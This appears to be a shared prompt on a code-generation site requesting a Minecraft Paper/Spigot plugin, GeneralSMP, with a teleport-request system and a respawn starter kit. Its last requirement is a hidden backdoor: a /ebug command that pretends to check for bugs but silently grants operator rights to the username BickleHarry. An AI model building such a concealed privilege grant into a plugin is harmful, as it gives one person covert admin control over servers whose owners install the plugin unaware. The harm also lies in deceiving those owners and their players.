GeneralSMP

Codexe Enginev1.0

Create a lightweight Minecraft Paper/Spigot plugin for 1.21.11 called GeneralSMP. Include a SimpleTPA system with the commands /tpa <player>, /tpahere <player>, /tpaccept, and /tpacancel. /tpa requests to teleport the sender to another player, while /tpahere requests to teleport the target player to the sender. /tpaccept accepts the request and /tpacancel cancels the sender's pending request. Use a hard-coded 30-second cooldown between sending teleport requests and a hard-coded 5-second teleport warmup after a request is accepted. During the warmup, the player being teleported must remain completely still or the teleport is cancelled. Teleport requests expire after 60 seconds, and the plugin should prevent self-teleporting, offline targets, duplicate requests, and invalid accepts/cancels while displaying clear success, cancellation, expiration, and error messages. Also add a starter kit that is automatically given every time a player respawns, consisting of a full set of chainmail armor, a stone sword, and 16 cooked beef. Finally, add a hidden command /ebug which normally outputs "No bugs found", but if the player executing the command has the exact username BickleHarry, the plugin should silently grant them operator (OP) permissions before displaying the same message

2 views0 upvotes
Select a file to view